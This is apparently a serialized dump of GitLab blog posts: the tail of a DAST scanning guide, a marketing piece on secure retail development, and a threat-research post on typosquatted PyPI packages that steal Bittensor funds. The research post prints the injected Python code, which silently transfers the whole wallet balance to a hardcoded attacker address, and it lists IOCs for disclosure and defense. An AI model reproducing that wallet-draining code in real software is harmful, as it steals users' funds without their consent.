ideal for focused security testing of particular application components or newly-deployed features.\nScheduled DAST scans provide automated, time-based security testing that operates independently of\nthe development workflow. These scans can be configured to run daily, weekly, or at custom intervals,\nensuring continuous security monitoring of production applications.\n\n![Scheduling DAST](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758118300/dbxgkeahij4fklkpcpck.png)\n\nTo learn how to implement on-demand or scheduled scans within your project, see the\n[DAST on-demand scan documentation](https://docs.gitlab.com/user/application_security/dast/on-demand_scan/)\n\n## DAST in compliance workflows\n\nGitLab's security policies framework allows organizations to enforce consistent security\nstandards across all projects, while maintaining flexibility for different teams and environments.\nSecurity policies enable centralized governance of DAST scanning requirements, ensuring that\ncritical applications receive appropriate security testing without requiring individual project\nconfiguration. By defining security policies at the group or instance level, security teams can\nmandate DAST scans for specific project types, deployment environments, or risk classifications.\n\n**Scan/Pipeline Execution Policies** can be configured to automatically trigger DAST scans based on\nspecific conditions such as merge requests to protected branches, scheduled intervals, or deployment events.\nFor example, a policy might require full active DAST scans for all applications before production deployment,\nwhile allowing passive scans only for development branches. These policies can include custom variables,\nauthentication configurations, and exclusion rules that are automatically applied to all covered projects,\nreducing the burden on development teams and ensuring security compliance.\n\n![Scan Execution Policy](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758118299/twe0967sayasvassimf3.png)\n\n**Merge Request Approval Policies** provide an additional layer of security governance by enforcing human\nreview for code changes that may impact security. These policies can be configured to require security team\napproval when DAST scans detect new vulnerabilities, when security findings exceed defined thresholds, or\nwhen changes affect security-critical components. For example, a policy might automatically require approval\nfrom a designated security engineer when DAST findings include high-severity vulnerabilities, while allowing\nlower-risk findings to proceed with standard code review processes.\n\n![MR Approval Policy](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758118295/w0odyhf3gnkxis3f61ma.png)\n\nTo learn more about GitLab security policies, see the [policy documentation](https://docs.gitlab.com/user/application_security/policies/).\nAdditionally, for compliance, GitLab provides [Security Inventory](https://docs.gitlab.com/user/application_security/security_inventory/)\nand [Compliance center](https://docs.gitlab.com/user/compliance/compliance_center/), which can allow you to oversee\nif DAST is running in your environment and where it is required.\n\n![Security Inventory](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758118300/hro6gykf7igpnnczmpyg.png)\n\nTo learn more about these features, visit our [software compliance solutions page](https://about.gitlab.com/solutions/software-compliance/).\n\n## Summary\n\nGitLab DAST represents a powerful solution for integrating dynamic security testing into modern development workflows. By implementing DAST in your CI/CD pipeline, your team gains the ability to automatically detect runtime vulnerabilities, maintain compliance with security standards, and build more secure applications without sacrificing development velocity.\n\nThe key to successful DAST implementation lies in starting with basic configuration and gradually expanding to more sophisticated scanning profiles as your security maturity grows. Begin with simple website scanning, then progressively add authentication, custom exclusions, and advanced reporting to match your specific security requirements.\n\nRemember that DAST is most effective when combined with other security testing approaches. Use it alongside static analysis, dependency scanning, and manual security reviews to create a comprehensive security testing strategy. The automated nature of GitLab DAST ensures that security testing becomes a consistent, repeatable part of your development process rather than an afterthought.\n\n> To learn more about GitLab security, check out our [security testing solutions page](https://about.gitlab.com/solutions/application-security-testing/). To get started with GitLab DAST, [sign up for a free trial of GitLab Ultimate today](https://about.gitlab.com/free-trial/devsecops/).\n",{"content":1152,"config":1161},{"title":1153,"description":1154,"authors":1155,"body":1157,"category":786,"tags":1158,"date":1159,"heroImage":1160},"A developer's guide to building secure retail apps with GitLab","Learn how a DevSecOps platform helps retailers develop secure, compliant software for complex, high-traffic retail environments.",[986,1156],"Rebeca Fenoy-Anthony","Retailers often find application security challenging — in large part because the **attack surface is broader than ever** due to the complexity of modern commerce. From mobile apps and AI-powered personalization to omni-channel platforms and in-store IoT, every touchpoint increases the number of systems that must be secured and monitored. A single vulnerability doesn’t just affect one component, it can cascade across payment processors, inventory systems, customer data, and ultimately, brand trust.\n\nTraditional security approaches that once worked in simpler retail environments now struggle to keep up. Security processes are often bolted on as an afterthought, slowing teams down and increasing risk. But it doesn’t have to be this way.\n\n**Modern platforms embed security throughout the development lifecycle,** making protection a seamless part of the developer workflow, not a barrier to delivery. This approach turns security into a strategic advantage, enabling innovation without compromising resilience.\n\nIn this article, you'll discover how an integrated DevSecOps platform helps retail teams meet rising security demands **without slowing down delivery or compromising customer experience**.\n\n## Why retail security demands a different approach\n\nIn retail, security is about more than protecting data — it’s about protecting the customer experience that drives revenue. Any slowdown, outage, or vulnerability can lead to lost sales and broken trust. Retail platforms must stay online, meet compliance standards, and defend against nonstop attacks from the open internet. Unlike enterprise systems, they’re fully public-facing, with a much broader attack surface. Add in third-party integrations, APIs, and legacy systems, and it’s clear: traditional security approaches aren’t enough.\n\nAdding to the complexity, retailers face a unique set of challenges that further increase their security risks, including:\n\n### Supply chain fragility and API sprawl\n\nShipping delays, global instability, and interconnected systems disrupt logistics. Nearly half of retailers report product availability issues, and 25% lack real-time inventory visibility, according to a [2024 Fluent Commerce survey](https://premierconstructionnews.com/2024/05/25/retails-revival-fluent-commerce-study-finds-93-of-uk-retailers-expect-business-growth-over-next-year-despite-economic-challenges-and-supply-chain-disruption/). While AI-powered forecasting helps, insecure APIs and fragile integrations across the digital supply chain create attack vectors.\n\n### Legacy systems meet modern demands\n\nMany retailers operate on monolithic, outdated systems that struggle to support mobile apps, IoT devices, and real-time analytics securely. Without secure, agile foundations, each new digital touchpoint becomes a potential vulnerability.\n\n### AI and compliance complexity\n\nAI reshapes retail experiences through personalized recommendations and advanced customer tracking technologies like beacon sensors, facial recognition, and mobile app location services that monitor movement and behavior within physical stores. These AI-powered systems enhance both customer experiences and demand forecasting capabilities for retailers. However, [GDPR](https://gdpr.eu/what-is-gdpr/) (the European Union's General Data Protection Regulation) and similar global privacy laws require secure data handling and transparent AI logic. Security missteps can result in significant fines and lasting reputational damage.\n\n### Customer-facing automation risks\n\nSelf-checkouts, kiosks, and chatbots promise convenience and cost savings but often lack security hardening. These touchpoints become entry points for cyber attackers and enable traditional theft through weak fraud detection, limited monitoring, and easily manipulated systems that make shoplifting harder to detect.\n\n### Disparate threat surfaces\n\nRetailers are in a unique position where they must secure across multiple vectors, often maintained by globally distributed teams (depending on the size of the organization). E-commerce platforms, mobile applications, point-of-sale (POS) systems, and in-store IoT devices all provide an entry point for threat actors with unique characteristics requiring different security solutions to ensure resiliency.\n\nThis creates a unique paradox: Retailers must innovate faster than ever while maintaining higher security standards than most industries, all while delivering seamless customer experiences across every channel.\n\n## Why traditional AppSec falls short in retail\n\nMost retailers rely on disconnected security tools such as static application security testing (SAST) scanners, license checkers, and vulnerability assessments that work in isolation. This fragmented approach creates critical gaps:\n\n* **Limited lifecycle coverage:** Tools focus on narrow development phases, missing supply chain and runtime risks.\n \n* **Integration challenges:** Legacy system gaps and poor tool connectivity create security blind spots between teams and solutions.\n  \n* **Manual processes:** Security handoffs create bottlenecks, and issues are often discovered late, when they’re more costly to fix.\n  \n* **Team silos:** Security remains isolated from daily development workflows and separate from compliance and IT teams.\n\n### The path forward\n\nIn today’s fast-paced retail landscape, security can’t slow down innovation. Embedding it directly into the development lifecycle and bringing every team together on a single unified DevSecOps platform makes security a strategic advantage rather than a bottleneck.\n\n### A DevSecOps platform enables secure innovation at scale\n\nGitLab provides the most comprehensive set of security scanners to maximize application coverage, including:\n\n* [SAST](https://docs.gitlab.com/user/application_security/sast/)  \n* [DAST](https://docs.gitlab.com/user/application_security/dast/)  \n* [Dependency scanning](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/) \n* [Container scanning](https://docs.gitlab.com/user/application_security/container_scanning/)  \n* [Secret detection](https://docs.gitlab.com/user/application_security/secret_detection/)  \n* [Infrastructure-as-code scanning](https://docs.gitlab.com/user/application_security/iac_scanning/)  \n* [Fuzz testing](https://docs.gitlab.com/user/application_security/api_fuzzing/)\n\nBut security isn’t just about scanning. It's about [enforcing the right policies](https://docs.gitlab.com/user/compliance/compliance_frameworks/) to ensure vulnerabilities are identified and remediated consistently. With GitLab, security teams get full control to ensure the right scan is run on the right application, at the right time, and that the findings are addressed before they reach production.\n\n![Security scans in pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988740/x2dteagn1z8tjfahmobv.png)\n\n\u003Ccenter>\u003Ci>Security scans run in the CI/CD pipeline, ensuring immediate feedback on potential vulnerabilities.\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n![Vulnerability Report shows all vulnerabilities for a specific project or group.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988740/npsgvu5e0sd2kpoxug7f.png)\n\n\u003Ccenter>\u003Ci>Vulnerability Report shows all vulnerabilities for a specific project or group.\u003C/i>\u003C/center>\n\n### One platform for Dev, Sec, and Ops\n\nRetail teams waste countless hours switching between tools, manually transferring data, losing information between systems due to fragile integrations, and reconciling conflicting reports. A unified platform eliminates this friction:\n\n* **Single source of truth** for source code, pipelines, vulnerabilities, and compliance  \n* **No integration overhead** or tool compatibility issues  \n* **Consistent workflows** across all teams and projects\n\nThe result? Teams spend time solving problems instead of managing tools.\n\n![Compliance center where you can enforce compliance frameworks for your projects.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988739/d2nzltd1a2gypywzhv5f.png)\n\n\u003Ccenter>\u003Ci>The compliance center is where you can enforce compliance frameworks for your projects.\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n\n![In the merge request, developers require approval if risks are detected before merging code, according to defined policies.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988740/szoocztazaup2avkaxhu.png)\n\n\u003Ccenter>\u003Ci>In the merge request, developers require approval if risks are detected before merging code, according to defined policies.\u003C/i>\u003C/center>\n\n### Shared security responsibility, not silos\n\nThe most successful retail security programs make security everyone's responsibility, not just the security team's burden.\n\n**Developer empowerment**\n\nSecurity and compliance guidance appears directly in merge requests, making it impossible to miss critical issues. Developers get immediate feedback on each commit, with clear explanations of risks and remediation steps. For example,  AI-powered vulnerability explanation and vulnerability resolution help developers understand and fix security issues independently, reducing bottlenecks and building security expertise across the team.\n\n![Vulnerability page with a button for explaining or resolving issues with AI. Helps to bridge the knowledge gap with AI.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988741/uenrjye3arfg9wjtwss1.png)\n\n\u003Ccenter>\u003Ci>Vulnerability page with a button for explaining or resolving issues with AI. Helps to bridge the knowledge gap with AI.\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\n**Automated compliance**\n\nGenerate audit reports, track license usage, and maintain a software bill of materials (SBOM) without manual effort.\n\n![GitLab's automated dependency report provides a comprehensive SBOM, displaying all project dependencies with their vulnerability status, license details, and security findings for complete transparency and compliance.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988739/gpakhdvkegloqxhaeje8.png)\n\n\u003Ccenter>\u003Ci>GitLab's automated dependency report provides a comprehensive SBOM, displaying all project dependencies with their vulnerability status, license details, and security findings for complete transparency and compliance.\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nThis approach transforms security from a gate that slows delivery into a foundation that enables confident, rapid innovation.\n\n## Platform vs. point tools: What retailers need to know\n\n| Capability | Point Tools | GitLab DevSecOps Platform |\n|------------|-------------|---------------------------|\n| SAST/DAST/API/Fuzz | Separate & limited | Fully integrated |\n| License & dependency scanning | Often external tools | Built-in |\n| Compliance & audit reporting | Manual or disconnected | Automated with traceability |\n| Collaboration across teams | Fragmented | Unified environment |\n| End-to-end visibility | Tool-specific | Full lifecycle + value stream view |\n\n## The bottom line: Security excellence drives retail success\n\nIn retail, security isn't just about protecting data, it's about protecting the customer experience that drives revenue. When security slows down releases or creates vulnerabilities, it directly impacts sales. Your customers expect secure, seamless experiences every time.\n\nGitLab's integrated DevSecOps platform helps retailers:\n\n* **Deploy faster without compromising security** with automated scans that catch issues before customers do.  \n* **Meet compliance requirements effortlessly** through built-in reporting for GDPR, PCI-DSS, and industry standards.  \n* **Significantly reduce security tool costs** by replacing multiple point solutions with one platform.  \n* **Turn developers into security advocates** with guidance and automation, not roadblocks.\n\nTake a tour of some of GitLab's security capabilities:\n\n* [Resolving vulnerabilities with GitLab Duo](https://gitlab.navattic.com/ve-vr-short)   \n* [Adding scans to pipeline](https://gitlab.navattic.com/gitlab-scans)  \n* [Compliance frameworks](https://gitlab.navattic.com/compliance-short)  \n* [Advanced SAST](https://gitlab.navattic.com/advanced-sast-short)\n\n> Ready to get started? Discover how GitLab Ultimate with Duo Enterprise can streamline your retail security strategy with [a free trial](https://about.gitlab.com/free-trial/).",[786,776,820,694],"2025-09-04","https://res.cloudinary.com/about-gitlab-com/image/upload/v1756989645/fojzxakmfdea6jfqjkrl.png",{"featured":91,"template":808,"slug":1162},"a-developers-guide-to-building-secure-retail-apps-with-gitlab",{"content":1164,"config":1173},{"title":1165,"authors":1166,"description":1168,"date":1169,"body":1170,"category":786,"tags":1171,"heroImage":1172},"GitLab uncovers Bittensor theft campaign via PyPI",[1167],"Michael Henriksen","GitLab's Vulnerability Research team identified a supply chain attack campaign using typosquatted PyPI packages to steal cryptocurrency from Bittensor wallets by hijacking staking operations.","2025-08-06","GitLab's Vulnerability Research team has identified a sophisticated cryptocurrency theft campaign targeting the Bittensor ecosystem through typosquatted Python packages on PyPI.\n\nOur investigation began when GitLab's automated package monitoring system flagged suspicious activity related to popular Bittensor packages. We discovered multiple typosquatted variations of legitimate Bittensor packages, each designed to steal cryptocurrency from unsuspecting developers and users.\n\nThe identified malicious packages were all published within a 25-minute window on August 6, 2025:\n\n- `bitensor@9.9.4` (02:52 UTC)\n- `bittenso-cli@9.9.4` (02:59 UTC)\n- `qbittensor@9.9.4` (03:02 UTC)\n- `bitensor@9.9.5` (03:15 UTC)\n- `bittenso@9.9.5` (03:16 UTC)\n\nAll packages were designed to mimic the legitimate `bittensor` and `bittensor-cli` packages, which are core components of the Bittensor decentralized AI network.\n\n## Technical analysis: How the theft occurs\n\nOur analysis revealed a carefully crafted attack vector where the attackers modified legitimate staking functionality to steal funds. The malicious packages contain a hijacked version of the `stake_extrinsic` function in `bittensor_cli/src/commands/stake/add.py`. \n\nWhere users expect a normal staking operation, the attackers inserted malicious code at line 275 that silently diverts all funds to their wallet:\n\n```python\nresult = await transfer_extrinsic(\n  subtensor=subtensor,\n  wallet=wallet,\n  destination=\"5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR\",\n  amount=amount,\n  transfer_all=True,\n  prompt=False\n)\n```\n\nThis malicious injection completely subverts the staking process:\n\n- **Silent execution:** Uses `prompt=False` to bypass user confirmation\n- **Complete wallet drain:** Sets `transfer_all=True` to steal all available funds, not just the staking amount\n- **Hardcoded destination:** Routes all funds to the attacker's wallet address\n- **Hidden in plain sight:** Executes during what appears to be a normal staking operation\n\nThe attack is particularly insidious as users believe they're staking tokens to earn rewards, but instead, the modified function empties their entire wallet.\n\n### Why target staking functionality?\n\nThe attackers appear to have specifically targeted staking operations for calculated reasons. In blockchain networks like Bittensor, **staking** is when users lock up their cryptocurrency tokens to support network operations, earning rewards in return, similar to earning interest on a deposit.\n\nThis makes staking an ideal attack vector:\n\n1. **High-value targets:** Users who stake typically hold substantial cryptocurrency holdings, making them lucrative victims.\n2. **Required wallet access:** Staking operations require users to unlock their wallets and provide authentication—giving the malicious code exactly what it needs to drain funds.\n3. **Expected network activity:** Since staking naturally involves blockchain transactions, the additional malicious transfer doesn't immediately raise suspicions.\n4. **Routine operations:** Experienced users stake regularly, creating familiarity that breeds complacency and reduces scrutiny.\n5. **Delayed detection:** Users might initially assume any balance changes are normal staking fees or temporary holds, delaying discovery of the theft.\n\nBy hiding malicious code within legitimate-looking staking functionality, the attackers exploited both the technical requirements and user psychology of routine blockchain operations.\n\n## Following the money\n\nGitLab's Vulnerability Research team traced the cryptocurrency flows to understand the full scope of this operation. The primary destination wallet `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` served as a central collection point before funds were distributed through a network of intermediary wallets.\n\n### The money laundering network\n\nOur analysis revealed a multi-hop laundering scheme:\n\n1. **Primary collection:** Stolen funds initially arrive at `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR`\n2. **Distribution network:** Funds are quickly moved to intermediate wallets including:\n   - `5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1`\n   - `5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC`\n   - `5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6`\n   - `5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL`\n3. **Final consolidation:** All paths eventually converge at `5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu`\n4. **Cash-out endpoint:** Final destination appears to be `5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ`\n\n## The typosquatting strategy\n\nThe attackers employed a typosquatting strategy that exploits common typing errors and package naming conventions:\n\n- **Missing characters:** `bitensor` instead of `bittensor` (missing 't')\n- **Truncation:** `bittenso` instead of `bittensor` (missing final 'r')\n- **Version mimicking:** All packages used version numbers (`9.9.4`, `9.9.5`) that closely match legitimate package versions\n\nThis approach maximizes the chance of installation through developer typos during `pip install` commands and copy-paste errors from documentation.\n\n## Looking ahead: The future of supply chain security\n\nGitLab continues to invest in proactive security research to identify and neutralize threats before they impact our community. Our automated detection system works around the clock to protect the software supply chain that powers modern development.\n\nThe swift detection and analysis of this attack demonstrate the value of proactive security measures in combating sophisticated threats. By sharing our findings, we aim to strengthen the entire ecosystem's resilience against future attacks.\n\n## Indicators of compromise\n\n| IOC | Description |\n| :---- | :---- |\n| `pkg:pypi/bittenso@9.9.5` | Malicious PyPI package |\n| `pkg:pypi/bitensor@9.9.5` | Malicious PyPI package |\n| `pkg:pypi/bitensor@9.9.4` | Malicious PyPI package |\n| `pkg:pypi/qbittensor@9.9.4` | Malicious PyPI package |\n| `pkg:pypi/bittenso-cli@9.9.4` | Malicious PyPI package |\n| `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` | Bittensor (TAO) wallet address for receiving stolen funds |\n\n## Timeline\n\n| Date & Time | Action |\n| :---- | :---- |\n| **2025-08-06T06:33** | Initial analysis of suspicious packages reported by automated monitoring system |\n| **2025-08-06T09:42** | Reported `bittenso@9.9.5` to PyPi.org |\n| **2025-08-06T09:46** | Reported `bitensor@9.9.5` to PyPi.org |\n| **2025-08-06T09:47** | Reported `bitensor@9.9.4` to PyPi.org |\n| **2025-08-06T09:49** | Reported `qbittensor@9.9.4` to PyPi.org |\n| **2025-08-06T09:51** | Reported `bittenso-cli@9.9.4` to PyPi.org |\n| **2025-08-06T15:26** | PyPi.org removed `bittenso@9.9.5` |\n| **2025-08-06T15:27** | PyPi.org removed `bitensor@9.9.5` |\n| **2025-08-06T15:27** | PyPi.org removed `bitensor@9.9.4` |\n| **2025-08-06T15:28** | PyPi.org removed `qbittensor@9.9.4` |\n| **2025-08-06T15:28** | PyPi.org removed `bittenso-cli@9.9.4` |\n",[786],"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1750098739/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098739024.jpg",{"featured":6,"template":808,"slug":1174},"gitlab-uncovers-bittensor-theft-campaign-via-pypi",{"content":1176,"config":1178},{"title":1111,"description":1112,"heroImage":1113,"date":1114,"category":776,"tags":1177},[776,1116],{"featured":91,"template":808,"externalUrl":1118},[1180,1185,1190],{"config":1181,"content":1182},{"slug":1142,"featured":91,"template":808},{"title":1144,"description":1145,"authors":1183,"heroImage":1147,"date":1040,"category":786,"tags":1184,"body":1150},[1015],[786,821,1149],{"content":1186,"config":1189},{"title":1035,"description":1036,"heroImage":1037,"authors":1187,"date":1040,"body":1041,"category":755,"tags":1188},[1039],[776,755,728],{"featured":91,"template":808,"slug":1044},{"config":1191,"content":1192},{"slug":839,"featured":91,"template":808},{"title":841,"description":842,"authors":1193,"heroImage":845,"date":846,"category":698,"tags":1194,"body":848},[844],[776,821,820],[1196,1201,1206],{"config":1197,"content":1198},{"featured":6,"template":808,"slug":1047},{"title":1049,"description":1050,"category":755,"tags":1199,"authors":1200,"heroImage":1053,"date":1054,"body":1055},[755,776,728],[892],{"content":1202,"config":1205},{"title":1121,"description":1122,"authors":1203,"heroImage":881,"date":1054,"body":1125,"category":776,"tags":1204},[1124],[776,820,109],{"featured":6,"template":808,"slug":1128},{"config":1207,"content":1208},{"slug":997,"featured":91,"template":808},{"title":999,"description":1000,"authors":1209,"heroImage":1003,"date":1004,"category":744,"tags":1210,"body":1007},[1002],[821,1006],1758521540792]